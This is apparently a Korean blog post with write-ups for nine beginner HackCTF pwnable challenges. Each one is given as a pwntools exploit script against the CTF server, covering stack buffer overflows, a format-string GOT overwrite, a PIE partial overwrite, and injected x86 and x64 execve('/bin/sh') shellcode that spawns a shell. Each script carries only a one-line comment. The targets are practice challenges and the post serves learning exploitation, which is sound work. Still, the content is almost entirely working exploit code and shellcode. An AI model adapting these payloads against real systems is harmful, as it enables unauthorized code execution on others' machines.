시작
안녕하세요 :D
포너블 공부하다가 좋은 사이트 찾아서!! 문제를 풀고 있어요.
처음엔 아주 기초적인 문제라 빠르게 빠르게 넘어갔습니다 ㅎㅎ
Write UP도 설명없이 적도록 할게요
시작해보죠!! (HackCTF : https://ctf.j0n9hyun.xyz/)
Write UP
1. Basic_BOF #1
from pwn import *
#p = process("./bof_basic")
p = remote("ctf.j0n9hyun.xyz", 3000)
key = 0xdeadbeef
payload = ""
payload += "A" * 40
payload += p32(key)
p.sendline(payload)
p.interactive()
키값 바꾸는 문제!! pwnable.kr에서 많이 본 친구였습니다.
2. Basic_BOF #2
from pwn import *
#p = process("./bof_basic2")
p = remote("ctf.j0n9hyun.xyz", 3001)
payload = ""
shell = 0x804849b
payload += "A" * 128
payload += p32(shell)
p.sendline(payload)
p.interactive()
RET값을 조작하는 문제였어요.
3. Basic_FSB
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3002)
printf_got = 0x804a00c
flag = 0x80485b4
payload = ""
payload += p32(printf_got)
payload += "%134514096d%n"
p.send(payload)
p.interactive()
FSB 문제입니다. snprintf()
에서 취약점이 터지죠.
4. 내 버퍼가 흘러넘친다!!!
from pwn import *
#context.log_level = "debug"
#p = process("./prob1")
p = remote("ctf.j0n9hyun.xyz", 3003)
payload = ""
name = 0x804a060
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
p.recvuntil("Name : ")
payload += shellcode
p.send(payload)
exploit = ""
p.recvuntil("input : ")
exploit += "A" * 24
exploit += p32(name)
p.send(exploit)
p.interactive()
쉘을 떨어뜨려주는 함수가 없어서 쉘코드를 사용했습니다. NX가 없었어요.
5. x64 Buffer Overflow
from pwn import *
#p = process("./64bof_basic")
p = remote("ctf.j0n9hyun.xyz", 3004)
payload = ""
shell = 0x400606
payload += "A" * 280
payload += p64(shell)
p.send(payload)
p.interactive()
32bit와 다를 것 없는 64bit 문제였습니다.
6. x64 Simple_size_BOF
from pwn import *
#p = process("./Simple_size_bof")
p = remote("ctf.j0n9hyun.xyz", 3005)
payload = ""
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
p.recvuntil("buf: 0x")
buf_addr = int(p.recv(12), 16)
log.info("buf addr = " + hex(buf_addr))
payload += "\x90" * 100
payload += shellcode
payload += "\x90" * (27960 - len(payload))
payload += p64(buf_addr)
p.send(payload)
p.interactive()
엄청난 크기의 버퍼인 것 빼곤 똑같았네요.
7. Simple_Overflow_ver_2
from pwn import *
context.log_level = "debug"
#p = process("./Simple_overflow_ver_2")
p = remote("ctf.j0n9hyun.xyz", 3006)
payload = ""
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
p.recvuntil("Data : ")
payload = "A" * 4
p.sendline(payload)
p.recvuntil("0x")
buf = int(p.recv(8), 16)
log.info("buf = " + hex(buf))
p.recvuntil("(y/n): ")
p.sendline("y")
exploit = ""
exploit += shellcode
exploit += "\x90" * (140 -len(shellcode))
exploit += p32(buf)
p.recvuntil("Data : ")
p.sendline(exploit)
p.recvuntil("(y/n): ")
p.sendline("n")
p.interactive()
recv(), send()를 적절히 이용해서 쉘코드를 던져줍시다.
8. Offset
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3007)
payload = ""
#flag_1byte = 0xd8
p.recvuntil("call?\n")
payload += "A" * 30
payload += "\xd8"
p.sendline(payload)
p.interactive()
gdb로 메모리 분석하면 쉽게 풀리는 문제!
9. BOF_PIE
from pwn import *
#p = process("./bof_pie")
p = remote("ctf.j0n9hyun.xyz", 3008)
payload = ""
p.recvuntil("0x")
welcome = int(p.recv(8), 16)
log.info("welcome_func's addr = " + hex(welcome))
flag = welcome - 0x79
payload += "A" * 22
payload += p32(flag)
p.send(payload)
p.interactive()
1 byte overflow를 이용하면 쉽게 풀립니다.
마무리
10번 문제 Yes_or_No까지 풀었는데 싸지방 시간이.. 3분..
허겁지겁 마무리하게 됐네요 ㅠㅠ
10번부턴 조금 어렵더라구요 ㅎㅎ 내일 천천히 써보겠습니다. 감사합니다 :D
'CTF_Write_UP > HackCTF' 카테고리의 다른 글
[HackCTF] Random Key (0) | 2019.09.22 |
---|---|
[HackCTF] 1996 (0) | 2019.09.22 |
[HackCTF] Poet (0) | 2019.09.22 |
[HackCTF] RTL_World (0) | 2019.09.19 |
[HackCTF] Yes or no (0) | 2019.09.19 |